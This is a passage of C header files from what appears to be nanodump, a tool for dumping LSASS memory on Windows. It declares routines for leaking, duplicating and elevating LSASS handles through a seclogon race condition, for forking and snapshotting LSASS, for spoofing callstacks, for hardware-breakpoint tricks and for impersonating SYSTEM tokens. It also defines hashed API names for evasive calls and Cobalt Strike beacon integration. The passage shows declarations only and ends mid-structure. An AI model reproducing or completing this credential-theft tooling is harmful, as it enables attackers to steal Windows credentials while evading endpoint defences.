30 | #endif 31 | 32 | #ifndef ALIGN_UP 33 | #define ALIGN_UP(Address, Type) ALIGN_UP_TYPE(Address, sizeof(Type)) 34 | #endif 35 | 36 | #define ObjectTypesInformation 3 37 | 38 | #define OBJECT_TYPES_FIRST_ENTRY(ObjectTypes) (POBJECT_TYPE_INFORMATION)\ 39 | RtlOffsetToPointer(ObjectTypes, ALIGN_UP(sizeof(OBJECT_TYPES_INFORMATION), ULONG_PTR)) 40 | 41 | #define OBJECT_TYPES_NEXT_ENTRY(ObjectType) (POBJECT_TYPE_INFORMATION)\ 42 | RtlOffsetToPointer(ObjectType, sizeof(OBJECT_TYPE_INFORMATION) + \ 43 | ALIGN_UP(ObjectType->TypeName.MaximumLength, ULONG_PTR)) 44 | 45 | typedef struct _OBJECT_TYPES_INFORMATION { 46 | ULONG NumberOfTypes; 47 | } OBJECT_TYPES_INFORMATION, * POBJECT_TYPES_INFORMATION; 48 | 49 | typedef struct _OBJECT_TYPE_INFORMATION_V2 { 50 | UNICODE_STRING TypeName; 51 | ULONG TotalNumberOfObjects; 52 | ULONG TotalNumberOfHandles; 53 | ULONG TotalPagedPoolUsage; 54 | ULONG TotalNonPagedPoolUsage; 55 | ULONG TotalNamePoolUsage; 56 | ULONG TotalHandleTableUsage; 57 | ULONG HighWaterNumberOfObjects; 58 | ULONG HighWaterNumberOfHandles; 59 | ULONG HighWaterPagedPoolUsage; 60 | ULONG HighWaterNonPagedPoolUsage; 61 | ULONG HighWaterNamePoolUsage; 62 | ULONG HighWaterHandleTableUsage; 63 | ULONG InvalidAttributes; 64 | GENERIC_MAPPING GenericMapping; 65 | ULONG ValidAccessMask; 66 | BOOLEAN SecurityRequired; 67 | BOOLEAN MaintainHandleCount; 68 | UCHAR TypeIndex; 69 | CHAR ReservedByte; 70 | ULONG PoolType; 71 | ULONG DefaultPagedPoolCharge; 72 | ULONG DefaultNonPagedPoolCharge; 73 | } OBJECT_TYPE_INFORMATION_V2, * POBJECT_TYPE_INFORMATION_V2; 74 | 75 | #if defined(_MSC_VER) 76 | 77 | typedef enum _POOL_TYPE 78 | { 79 | NonPagedPool, 80 | PagedPool, 81 | NonPagedPoolMustSucceed, 82 | DontUseThisType, 83 | NonPagedPoolCacheAligned, 84 | PagedPoolCacheAligned, 85 | NonPagedPoolCacheAlignedMustS 86 | } POOL_TYPE, *PPOOL_TYPE; 87 | 88 | typedef struct _OBJECT_TYPE_INFORMATION 89 | { 90 | UNICODE_STRING Name; 91 | ULONG TotalNumberOfObjects; 92 | ULONG TotalNumberOfHandles; 93 | ULONG TotalPagedPoolUsage; 94 | ULONG TotalNonPagedPoolUsage; 95 | ULONG TotalNamePoolUsage; 96 | ULONG TotalHandleTableUsage; 97 | ULONG HighWaterNumberOfObjects; 98 | ULONG HighWaterNumberOfHandles; 99 | ULONG HighWaterPagedPoolUsage; 100 | ULONG HighWaterNonPagedPoolUsage; 101 | ULONG HighWaterNamePoolUsage; 102 | ULONG HighWaterHandleTableUsage; 103 | ULONG InvalidAttributes; 104 | GENERIC_MAPPING GenericMapping; 105 | ULONG ValidAccess; 106 | BOOLEAN SecurityRequired; 107 | BOOLEAN MaintainHandleCount; 108 | USHORT MaintainTypeList; 109 | POOL_TYPE PoolType; 110 | ULONG PagedPoolUsage; 111 | ULONG NonPagedPoolUsage; 112 | } OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; 113 | 114 | typedef struct _SYSTEM_HANDLE 115 | { 116 | ULONG ProcessId; 117 | BYTE ObjectTypeNumber; 118 | BYTE Flags; 119 | USHORT Handle; 120 | PVOID Object; 121 | ACCESS_MASK GrantedAccess; 122 | } SYSTEM_HANDLE, *PSYSTEM_HANDLE; 123 | 124 | typedef struct _SYSTEM_HANDLE_INFORMATION 125 | { 126 | ULONG Count; 127 | SYSTEM_HANDLE Handle[1]; 128 | } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; 129 | 130 | #endif 131 | 132 | typedef struct _PROCESS_LIST 133 | { 134 | ULONG Count; 135 | ULONG ProcessId[MAX_PROCESSES]; 136 | } PROCESS_LIST, *PPROCESS_LIST; 137 | 138 | typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO 139 | { 140 | USHORT UniqueProcessId; 141 | USHORT CreatorBackTraceIndex; 142 | UCHAR ObjectTypeIndex; 143 | UCHAR HandleAttributes; 144 | USHORT HandleValue; 145 | PVOID Object; 146 | ULONG GrantedAccess; 147 | } SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO; 148 | 149 | #define MAX_HANDLES 10000 150 | 151 | typedef struct _HANDLE_LIST 152 | { 153 | ULONG Count; 154 | HANDLE Handle[MAX_HANDLES]; 155 | } HANDLE_LIST, *PHANDLE_LIST; 156 | 157 | BOOL find_token_handles_in_process( 158 | IN DWORD process_pid, 159 | IN DWORD permissions, 160 | OUT PHANDLE_LIST* phandle_list); 161 | 162 | BOOL find_process_handles_in_process( 163 | IN DWORD process_pid, 164 | IN DWORD permissions, 165 | OUT PHANDLE_LIST* phandle_list); 166 | 167 | BOOL find_directory_handles_in_process( 168 | IN DWORD process_pid, 169 | IN DWORD permissions, 170 | OUT PHANDLE_LIST* phandle_list); 171 | 172 | BOOL check_handle_privs( 173 | IN HANDLE handle, 174 | IN DWORD permissions); 175 | 176 | HANDLE elevate_handle_via_duplicate( 177 | IN HANDLE hProcess, 178 | IN ACCESS_MASK DesiredAccess, 179 | IN DWORD HandleAttributes); 180 | 181 | HANDLE make_handle_full_access( 182 | IN HANDLE hProcess, 183 | IN DWORD attributes); 184 | 185 | DWORD get_lsass_min_permissions(VOID); 186 | 187 | DWORD get_lsass_clone_permissions(VOID); 188 | 189 | DWORD get_lsass_shtinkering_permissions(VOID); 190 | 191 | BOOL obtain_lsass_handle( 192 | OUT PHANDLE phProcess, 193 | IN DWORD lsass_pid, 194 | IN BOOL duplicate_handle, 195 | IN BOOL elevate_handle, 196 | IN BOOL duplicate_elevate, 197 | IN BOOL use_seclogon_duplicate, 198 | IN BOOL spoof_callstack, 199 | IN BOOL is_seclogon_leak_local_stage_2, 200 | IN LPCSTR seclogon_leak_remote_binary, 201 | OUT PPROCESS_LIST* Pcreated_processes, 202 | IN BOOL use_valid_sig, 203 | IN LPCSTR dump_path, 204 | IN BOOL fork_lsass, 205 | IN BOOL snapshot_lsass, 206 | OUT PHANDLE PhSnapshot, 207 | IN BOOL use_seclogon_leak_local, 208 | IN BOOL use_seclogon_leak_remote, 209 | IN BOOL use_lsass_shtinkering); 210 | 211 | HANDLE open_handle_to_lsass( 212 | IN DWORD lsass_pid, 213 | IN DWORD permissions, 214 | IN BOOL dup, 215 | IN BOOL seclogon_race, 216 | IN BOOL spoof_callstack, 217 | IN BOOL is_malseclogon_stage_2, 218 | IN DWORD attributes); 219 | 220 | HANDLE find_lsass( 221 | IN DWORD dwFlags, 222 | IN DWORD attributes); 223 | 224 | HANDLE get_process_handle( 225 | IN DWORD dwPid, 226 | IN DWORD dwFlags, 227 | IN BOOL quiet, 228 | IN DWORD attributes); 229 | 230 | BOOL get_all_handles( 231 | OUT PSYSTEM_HANDLE_INFORMATION* phandle_table, 232 | OUT PULONG phandle_table_size); 233 | 234 | BOOL process_is_included( 235 | IN PPROCESS_LIST process_list, 236 | IN ULONG ProcessId); 237 | 238 | BOOL get_processes_from_handle_table( 239 | IN PSYSTEM_HANDLE_INFORMATION handleTableInformation, 240 | OUT PPROCESS_LIST* pprocess_list); 241 | 242 | BOOL query_object_types_info( 243 | POBJECT_TYPES_INFORMATION* pObjectTypes, 244 | PULONG pObjectTypesSize); 245 | 246 | BOOL get_type_index_by_name( 247 | IN LPWSTR handle_type, 248 | OUT PULONG ProcesTypeIndex); 249 | 250 | HANDLE duplicate_lsass_handle( 251 | IN DWORD lsass_pid, 252 | IN DWORD permissions, 253 | IN DWORD attributes); 254 | 255 | HANDLE fork_process( 256 | IN HANDLE hProcess, 257 | IN DWORD attributes); 258 | 259 | HANDLE snapshot_process( 260 | IN HANDLE hProcess, 261 | OUT PHANDLE hSnapshot); 262 | 263 | BOOL free_snapshot( 264 | IN HANDLE hSnapshot); 265 | 266 | #endif 267 | -------------------------------------------------------------------------------- /include/hw_breakpoint.h: -------------------------------------------------------------------------------- 1 | 2 | #include 3 | 4 | #include "dinvoke.h" 5 | #include "output.h" 6 | #include "ntdefs.h" 7 | 8 | #define DEBUG_REGISTER_INDEX 0 9 | //#define DEBUG_REGISTER_INDEX 1 10 | //#define DEBUG_REGISTER_INDEX 2 11 | //#define DEBUG_REGISTER_INDEX 3 12 | 13 | typedef PVOID(WINAPI* RtlAddVectoredExceptionHandler_t) (ULONG First, PVECTORED_EXCEPTION_HANDLER Handler); 14 | typedef ULONG(WINAPI* RtlRemoveVectoredExceptionHandler_t) (PVOID Handle); 15 | 16 | #define RtlAddVectoredExceptionHandler_SW2_HASH 0xA79DB11D 17 | #define RtlRemoveVectoredExceptionHandler_SW2_HASH 0x24380EA3 18 | 19 | #if defined(__clang__) 20 | #define SET_SYNTAX ".intel_syntax noprefix \n" 21 | #else 22 | #define SET_SYNTAX 23 | #endif 24 | 25 | ULONG_PTR set_bits( 26 | ULONG_PTR dw, 27 | int lowBit, 28 | int bits, 29 | ULONG_PTR newValue); 30 | 31 | VOID clear_breakpoint( 32 | CONTEXT* ctx, 33 | int index); 34 | 35 | VOID enable_breakpoint( 36 | CONTEXT* ctx, 37 | PVOID address, 38 | int index); 39 | 40 | LONG hwbp_handler( 41 | PEXCEPTION_POINTERS exceptions); 42 | 43 | BOOL set_hwbp( 44 | PVOID address, 45 | PHANDLE phHwBpHandler); 46 | 47 | VOID unset_hwbp( 48 | HANDLE hHwBpHandler); 49 | -------------------------------------------------------------------------------- /include/impersonate.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "dinvoke.h" 7 | #include "syscalls.h" 8 | 9 | #ifndef ThreadImpersonationToken 10 | #define ThreadImpersonationToken 5 11 | #endif 12 | 13 | typedef BOOL(WINAPI* ConvertStringSidToSidW_t) (LPCWSTR StringSid, PSID *Sid); 14 | typedef BOOL(WINAPI* CopySid_t) (DWORD nDestinationSidLength, PSID pDestinationSid, PSID pSourceSid); 15 | typedef BOOL(WINAPI* ConvertSidToStringSidW_t) (PSID Sid, LPWSTR *StringSid); 16 | typedef BOOL(WINAPI* LookupAccountSidW_t) (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); 17 | typedef BOOL(WINAPI* RevertToSelf_t) (VOID); 18 | 19 | #define ConvertStringSidToSidW_SW2_HASH 0x9A0697A4 20 | #define CopySid_SW2_HASH 0xE9DEE47F 21 | #define ConvertSidToStringSidW_SW2_HASH 0x2E89B34F 22 | #define LookupAccountSidW_SW2_HASH 0x093E752B 23 | #define RevertToSelf_SW2_HASH 0x93BC9622 24 | 25 | BOOL impersonate_user( 26 | IN LPCWSTR pwszSid, 27 | OUT PHANDLE phToken, 28 | IN LPCWSTR pwszPrivileges[], 29 | IN DWORD dwPrivilegeCount); 30 | 31 | BOOL impersonate( 32 | IN HANDLE hToken); 33 | 34 | BOOL find_process_token_and_duplicate( 35 | IN LPCWSTR pwszTargetSid, 36 | IN LPCWSTR pwszPrivileges[], 37 | IN DWORD dwPrivilegeCount, 38 | OUT PHANDLE phToken); 39 | 40 | BOOL revert_to_self(VOID); 41 | 42 | BOOL impersonate_process( 43 | IN DWORD process_id, 44 | OUT PHANDLE phProcessToken); 45 | 46 | BOOL impersonate_system( 47 | OUT PHANDLE phSystemToken); 48 | 49 | BOOL impersonate_local_service( 50 | OUT PHANDLE phLocalServiceToken); 51 | 52 | BOOL token_get_sid( 53 | IN HANDLE hToken, 54 | OUT PSID* ppSid); 55 | 56 | BOOL token_get_sid_as_string( 57 | IN HANDLE hToken, 58 | OUT LPWSTR* ppwszStringSid); 59 | 60 | BOOL is_current_user_system( 61 | OUT PBOOL pbResult); 62 | 63 | BOOL token_compare_sids( 64 | IN PSID pSidA, 65 | IN PSID pSidB); 66 | 67 | BOOL token_is_not_restricted( 68 | IN HANDLE hToken, 69 | OUT PBOOL pbIsNotRestricted); 70 | 71 | BOOL token_get_username( 72 | IN HANDLE hToken, 73 | OUT LPWSTR* ppwszUsername); 74 | -------------------------------------------------------------------------------- /include/malseclogon.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "nanodump.h" 7 | #include "handle.h" 8 | #include "dinvoke.h" 9 | 10 | #if defined(NANO) && !defined(SSP) && !defined(PPL_DUMP) && !defined(PPL_MEDIC) 11 | 12 | #ifndef CTL_CODE 13 | 14 | #define CTL_CODE( DeviceType, Function, Method, Access ) ( \ 15 | ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) \ 16 | ) 17 | 18 | #endif /* CTL_CODE */ 19 | 20 | #ifndef REQUEST_OPLOCK_CURRENT_VERSION 21 | 22 | #define REQUEST_OPLOCK_CURRENT_VERSION 1 23 | 24 | typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { 25 | USHORT StructureVersion; 26 | USHORT StructureLength; 27 | ULONG RequestedOplockLevel; 28 | ULONG Flags; 29 | } REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; 30 | 31 | typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { 32 | USHORT StructureVersion; 33 | USHORT StructureLength; 34 | ULONG OriginalOplockLevel; 35 | ULONG NewOplockLevel; 36 | ULONG Flags; 37 | ACCESS_MASK AccessMode; 38 | USHORT ShareMode; 39 | } REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; 40 | 41 | #endif /* REQUEST_OPLOCK_CURRENT_VERSION */ 42 | 43 | #ifndef OPLOCK_LEVEL_CACHE_READ 44 | #define OPLOCK_LEVEL_CACHE_READ (0x00000001) 45 | #endif 46 | #ifndef OPLOCK_LEVEL_CACHE_HANDLE 47 | #define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) 48 | #endif 49 | #ifndef OPLOCK_LEVEL_CACHE_WRITE 50 | #define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) 51 | #endif 52 | 53 | #ifndef REQUEST_OPLOCK_INPUT_FLAG_REQUEST 54 | #define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) 55 | #endif 56 | #ifndef REQUEST_OPLOCK_INPUT_FLAG_ACK 57 | #define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) 58 | #endif 59 | #ifndef REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE 60 | #define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) 61 | #endif 62 | 63 | #ifndef FILE_DEVICE_FILE_SYSTEM 64 | #define FILE_DEVICE_FILE_SYSTEM 0x00000009 65 | #endif 66 | 67 | #ifndef METHOD_BUFFERED 68 | #define METHOD_BUFFERED 0 69 | #endif 70 | 71 | #ifndef FILE_ANY_ACCESS 72 | #define FILE_ANY_ACCESS 0x00000000 73 | #endif 74 | 75 | #ifndef FSCTL_REQUEST_OPLOCK 76 | #define FSCTL_REQUEST_OPLOCK CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 144, METHOD_BUFFERED, FILE_ANY_ACCESS) 77 | #endif 78 | 79 | struct TEB 80 | { 81 | struct _NT_TIB NtTib; 82 | VOID* EnvironmentPointer; 83 | struct _CLIENT_ID ClientId; 84 | VOID* ActiveRpcHandle; 85 | VOID* ThreadLocalStoragePointer; 86 | struct _PEB* ProcessEnvironmentBlock; 87 | }; 88 | 89 | typedef struct _FILE_PROCESS_IDS_USING_FILE_INFORMATION 90 | { 91 | ULONG NumberOfProcessIdsInList; 92 | ULONG_PTR ProcessIdList[1]; 93 | } FILE_PROCESS_IDS_USING_FILE_INFORMATION, * PFILE_PROCESS_IDS_USING_FILE_INFORMATION; 94 | 95 | typedef struct _THREAD_PARAMETERS 96 | { 97 | DWORD pid; 98 | LPWSTR cmdline; 99 | PBOOL file_lock_was_triggered; 100 | } THREAD_PARAMETERS, *PTHREAD_PARAMETERS; 101 | 102 | #define FileProcessIdsUsingFileInformation 47 103 | 104 | typedef BOOL(WINAPI* CreateProcessWithLogonW_t) (LPCWSTR lpUsername, LPCWSTR lpDomain, LPCWSTR lpPassword, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 105 | typedef BOOL(WINAPI* CreateProcessWithTokenW_t) (HANDLE hToken, DWORD dwLogonFlags, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); 106 | 107 | #define CreateProcessWithLogonW_SW2_HASH 0x39A92305 108 | #define CreateProcessWithTokenW_SW2_HASH 0x03A92535 109 | 110 | VOID change_pid( 111 | IN DWORD new_pid, 112 | OUT PDWORD previous_pid); 113 | 114 | VOID set_command_line( 115 | IN BOOL use_malseclogon_locally, 116 | IN LPWSTR command_line, 117 | IN LPCSTR program_name, 118 | IN LPCSTR dump_path, 119 | IN BOOL fork_lsass, 120 | IN BOOL snapshot_lsass, 121 | IN BOOL use_valid_sig, 122 | IN BOOL use_lsass_shtinkering, 123 | IN LPWSTR synchronization_file); 124 | 125 | BOOL save_new_process_pid( 126 | IN PPROCESS_LIST process_list, 127 | IN DWORD pid); 128 | 129 | BOOL check_if_succeded( 130 | IN DWORD new_pid, 131 | IN LPWSTR dump_path); 132 | 133 | VOID kill_created_processes( 134 | IN PPROCESS_LIST created_processes); 135 | 136 | BOOL malseclogon_handle_leak( 137 | IN LPCSTR binary_path, 138 | IN LPCSTR dump_path, 139 | IN BOOL fork_lsass, 140 | IN BOOL snapshot_lsass, 141 | IN BOOL use_valid_sig, 142 | IN BOOL use_lsass_shtinkering, 143 | IN BOOL use_malseclogon_locally, 144 | IN DWORD lsass_pid, 145 | OUT PPROCESS_LIST* Pcreated_processes); 146 | 147 | BOOL malseclogon_stage_1( 148 | IN LPCSTR program_name, 149 | IN LPCSTR dump_path, 150 | IN BOOL fork_lsass, 151 | IN BOOL snapshot_lsass, 152 | IN BOOL use_valid_sig, 153 | IN BOOL use_lsass_shtinkering, 154 | IN BOOL use_malseclogon_locally, 155 | IN DWORD lsass_pid, 156 | OUT PPROCESS_LIST process_list); 157 | 158 | VOID malseclogon_trigger_lock( 159 | IN DWORD lsass_pid, 160 | IN LPWSTR cmdline, 161 | IN PBOOL file_lock_was_triggered); 162 | 163 | DWORD WINAPI thread_seclogon_lock( 164 | IN LPVOID lpParam); 165 | 166 | BOOL leak_lsass_handle_in_seclogon_with_race_condition( 167 | IN DWORD lsass_pid, 168 | OUT PHANDLE hEvent, 169 | OUT PHANDLE hFile); 170 | 171 | DWORD get_pid_using_file_path( 172 | IN LPWSTR file_path); 173 | 174 | DWORD get_seclogon_pid(VOID); 175 | 176 | HANDLE malseclogon_race_condition( 177 | IN DWORD lsass_pid, 178 | IN DWORD permissions, 179 | IN DWORD attributes); 180 | 181 | #ifdef EXE 182 | HANDLE malseclogon_stage_2(VOID); 183 | #endif 184 | 185 | #endif 186 | -------------------------------------------------------------------------------- /include/modules.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | #include "output.h" 7 | #include "syscalls.h" 8 | #include "ntdefs.h" 9 | #include "utils.h" 10 | 11 | #define UNUSED(x) (void)(x) 12 | 13 | #define LSASRV_DLL L"lsasrv.dll" 14 | #ifdef _WIN64 15 | #define LDR_POINTER_OFFSET 0x18 16 | #define MODULE_LIST_POINTER_OFFSET 0x10 17 | #else 18 | #define LDR_POINTER_OFFSET 0xc 19 | #define MODULE_LIST_POINTER_OFFSET 0xc 20 | #endif 21 | 22 | typedef struct _module_info 23 | { 24 | struct _module_info* next; 25 | ULONG64 dll_base; 26 | ULONG32 size_of_image; 27 | char dll_name[512]; 28 | ULONG32 name_rva; 29 | ULONG32 TimeDateStamp; 30 | ULONG32 CheckSum; 31 | } module_info, *Pmodule_info; 32 | 33 | PVOID get_peb_address( 34 | IN HANDLE hProcess); 35 | 36 | PVOID get_module_list_address( 37 | IN HANDLE hProcess, 38 | IN BOOL is_lsass); 39 | 40 | Pmodule_info add_new_module( 41 | IN HANDLE hProcess, 42 | IN struct LDR_DATA_TABLE_ENTRY* ldr_entry); 43 | 44 | BOOL read_ldr_entry( 45 | IN HANDLE hProcess, 46 | IN PVOID ldr_entry_address, 47 | OUT struct LDR_DATA_TABLE_ENTRY* ldr_entry, 48 | OUT wchar_t* base_dll_name); 49 | 50 | Pmodule_info find_modules( 51 | IN HANDLE hProcess, 52 | IN wchar_t* important_modules[], 53 | IN int number_of_important_modules, 54 | IN BOOL is_lsass); 55 | -------------------------------------------------------------------------------- /include/nanodump.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | 9 | #if defined(EXE) || defined(DLL) 10 | #define PE 11 | #endif 12 | 13 | #ifndef BOF 14 | #include "beacon.h" 15 | #include "output.h" 16 | #include "ntdefs.h" 17 | #include "utils.h" 18 | #include "handle.h" 19 | #include "modules.h" 20 | #include "syscalls.h" 21 | #include "token_priv.h" 22 | #include "malseclogon.h" 23 | #include "werfault.h" 24 | #include "impersonate.h" 25 | #include "spoof_callstack.h" 26 | #include "shtinkering.h" 27 | #endif 28 | 29 | // amount of memory requested to write the dump: 200 MiB 30 | #define DUMP_MAX_SIZE 0x0c800000 31 | 32 | // fake credentials used by MalSecLogon 33 | #define NANODUMP_USER L"NanoDumpUser" 34 | #define NANODUMP_DOMAIN L"NanoDumpDomain" 35 | #define NANODUMP_PASSWD L"NanoDumpPwd" 36 | 37 | // change to remove the "LSASS" string from the binaries 38 | #define LSASS "LSASS" 39 | 40 | // permissions requested by PssNtCaptureSnapshot 41 | #define PROCESS_PPSCAPTURESNAPSHOT_PERMISSIONS PSS_CAPTURE_VA_CLONE 42 | #define THREAD_PPSCAPTURESNAPSHOT_PERMISSIONS 0 43 | 44 | #if _WIN64 45 | #define PROCESS_PARAMETERS_OFFSET 0x20 46 | #define OSMAJORVERSION_OFFSET 0x118 47 | #define OSMINORVERSION_OFFSET 0x11c 48 | #define OSBUILDNUMBER_OFFSET 0x120 49 | #define OSPLATFORMID_OFFSET 0x124 50 | #define CSDVERSION_OFFSET 0x2e8 51 | #define PROCESSOR_ARCHITECTURE AMD64 52 | #else 53 | #define PROCESS_PARAMETERS_OFFSET 0x10 54 | #define OSMAJORVERSION_OFFSET 0xa4 55 | #define OSMINORVERSION_OFFSET 0xa8 56 | #define OSBUILDNUMBER_OFFSET 0xac 57 | #define OSPLATFORMID_OFFSET 0xb0 58 | #define CSDVERSION_OFFSET 0x1f0 59 | #define PROCESSOR_ARCHITECTURE INTEL 60 | #endif 61 | 62 | #define ARRAY_SIZE(a) (sizeof(a)/sizeof((a)[0])) 63 | 64 | #define SystemHandleInformation 0x10 65 | #define ObjectTypeInformation 2 66 | 67 | #define CALLBACK_FILE 0x02 68 | #define CALLBACK_FILE_WRITE 0x08 69 | #define CALLBACK_FILE_CLOSE 0x09 70 | 71 | #ifndef MEM_COMMIT 72 | #define MEM_COMMIT 0x1000 73 | #endif 74 | #ifndef MEM_MAPPED 75 | #define MEM_MAPPED 0x40000 76 | #endif 77 | #ifndef MEM_IMAGE 78 | #define MEM_IMAGE 0x1000000 79 | #endif 80 | #define PAGE_NOACCESS 0x01 81 | #define PAGE_GUARD 0x100 82 | 83 | #ifdef BOF 84 | WINBASEAPI HANDLE WINAPI KERNEL32$GetProcessHeap(VOID); 85 | WINBASEAPI void * WINAPI KERNEL32$HeapAlloc (HANDLE hHeap, DWORD dwFlags, SIZE_T dwBytes); 86 | WINBASEAPI BOOL WINAPI KERNEL32$HeapFree (HANDLE, DWORD, PVOID); 87 | WINBASEAPI DWORD WINAPI KERNEL32$GetLastError (VOID); 88 | WINBASEAPI HLOCAL WINAPI KERNEL32$LocalAlloc(UINT uFlags, SIZE_T uBytes); 89 | WINBASEAPI HLOCAL WINAPI KERNEL32$LocalFree(HLOCAL hMem); 90 | 91 | WINBASEAPI wchar_t * __cdecl MSVCRT$wcsstr(const wchar_t *_Str,const wchar_t *_SubStr); 92 | WINBASEAPI char * __cdecl MSVCRT$strrchr(const char *_Str,int _Ch); 93 | WINBASEAPI void * __cdecl MSVCRT$memcpy(void * _Dst,const void * _Src,size_t _MaxCount); 94 | WINBASEAPI int __cdecl MSVCRT$memcmp(const void *_Buf1,const void *_Buf2,size_t _Size); 95 | WINBASEAPI size_t __cdecl MSVCRT$strnlen(const char *s, size_t maxlen); 96 | WINBASEAPI size_t __cdecl MSVCRT$wcsnlen(const wchar_t *_Src,size_t _MaxCount); 97 | WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncpy(wchar_t * ,const wchar_t * ,size_t); 98 | WINBASEAPI size_t __cdecl MSVCRT$mbstowcs(wchar_t * _Dest,const char * _Source,size_t _MaxCount); 99 | WINBASEAPI size_t __cdecl MSVCRT$wcstombs(char * _Dest,const wchar_t * _Source,size_t _MaxCount); 100 | WINBASEAPI wchar_t * __cdecl MSVCRT$wcsncat(wchar_t * _Dest,const wchar_t * _Source,size_t _Count); 101 | WINBASEAPI int __cdecl MSVCRT$strncmp(const char *s1, const char *s2, size_t n); 102 | WINBASEAPI int __cdecl MSVCRT$strcmp(const char *s1, const char *s2); 103 | WINBASEAPI int __cdecl MSVCRT$wcscmp(const wchar_t *_Str1, const wchar_t *_Str2); 104 | WINBASEAPI int __cdecl MSVCRT$_wcsicmp(const wchar_t *_Str1,const wchar_t *_Str2); 105 | WINBASEAPI void __cdecl MSVCRT$srand(int initial); 106 | WINBASEAPI int __cdecl MSVCRT$rand(); 107 | WINBASEAPI time_t __cdecl MSVCRT$time(time_t *time); 108 | WINBASEAPI void __cdecl MSVCRT$memset(void *dest, int c, size_t count); 109 | WINBASEAPI size_t __cdecl MSVCRT$strlen(const char *s); 110 | WINBASEAPI char * __cdecl MSVCRT$strncpy(char * __dst, const char * __src, size_t __n); 111 | WINBASEAPI char * __cdecl MSVCRT$strncat(char * _Dest,const char * _Source, size_t __n); 112 | WINBASEAPI int __cdecl MSVCRT$_vscprintf(const char *format, va_list argptr); 113 | WINBASEAPI int __cdecl MSVCRT$vsprintf_s(char *_DstBuf,size_t _Size,const char *_Format,va_list _ArgList); 114 | WINBASEAPI size_t __cdecl MSVCRT$wcslen(const wchar_t *_Str); 115 | WINBASEAPI int __cdecl MSVCRT$sprintf_s(char *_DstBuf, size_t _DstSize, const char *_Format, ...); 116 | WINBASEAPI int __cdecl MSVCRT$swprintf_s(wchar_t *_Dst,size_t _SizeInWords,const wchar_t *_Format,...); 117 | WINBASEAPI wchar_t * __cdecl MSVCRT$wcsrchr(const wchar_t *_Str,wchar_t _Ch); 118 | 119 | #define GetProcessHeap KERNEL32$GetProcessHeap 120 | #define HeapAlloc KERNEL32$HeapAlloc 121 | #define HeapFree KERNEL32$HeapFree 122 | #define GetLastError KERNEL32$GetLastError 123 | #define LocalAlloc KERNEL32$LocalAlloc 124 | #define LocalFree KERNEL32$LocalFree 125 | 126 | #define wcsstr MSVCRT$wcsstr 127 | #define strrchr MSVCRT$strrchr 128 | #define memcpy MSVCRT$memcpy 129 | #define memcmp MSVCRT$memcmp 130 | #define strnlen MSVCRT$strnlen 131 | #define wcsnlen MSVCRT$wcsnlen 132 | #define wcsncpy MSVCRT$wcsncpy 133 | #define mbstowcs MSVCRT$mbstowcs 134 | #define wcstombs MSVCRT$wcstombs 135 | #define wcsncat MSVCRT$wcsncat 136 | #define strncmp MSVCRT$strncmp 137 | #define strcmp MSVCRT$strcmp 138 | #define wcscmp MSVCRT$wcscmp 139 | #define _wcsicmp MSVCRT$_wcsicmp 140 | #define srand MSVCRT$srand 141 | #define rand MSVCRT$rand 142 | #define time MSVCRT$time 143 | #define memset MSVCRT$memset 144 | #define strlen MSVCRT$strlen 145 | #define strncpy MSVCRT$strncpy 146 | #define strncat MSVCRT$strncat 147 | #define _vscprintf MSVCRT$_vscprintf 148 | #define vsprintf_s MSVCRT$vsprintf_s 149 | #define wcslen MSVCRT$wcslen 150 | #define sprintf_s MSVCRT$sprintf_s 151 | #define swprintf_s MSVCRT$swprintf_s 152 | #define wcsrchr MSVCRT$wcsrchr 153 | 154 | #endif 155 | 156 | #define MINIDUMP_SIGNATURE 0x504d444d 157 | #define MINIDUMP_VERSION 42899 158 | #define MINIDUMP_IMPL_VERSION 0 159 | 160 | #define SIZE_OF_HEADER 32 161 | #define SIZE_OF_DIRECTORY 12 162 | #ifdef _WIN64 163 | #define SIZE_OF_SYSTEM_INFO_STREAM 48 164 | #else 165 | #define SIZE_OF_SYSTEM_INFO_STREAM 56 166 | #endif 167 | #define SIZE_OF_MINIDUMP_MODULE 108 168 | 169 | enum StreamType 170 | { 171 | SystemInfoStream = 7, 172 | ModuleListStream = 4, 173 | Memory64ListStream = 9, 174 | }; 175 | 176 | enum ProcessorArchitecture 177 | { 178 | AMD64 = 9, 179 | INTEL = 0, 180 | }; 181 | 182 | enum MiniDumpType 183 | { 184 | MiniDumpNormal = 0, 185 | }; 186 | 187 | typedef struct 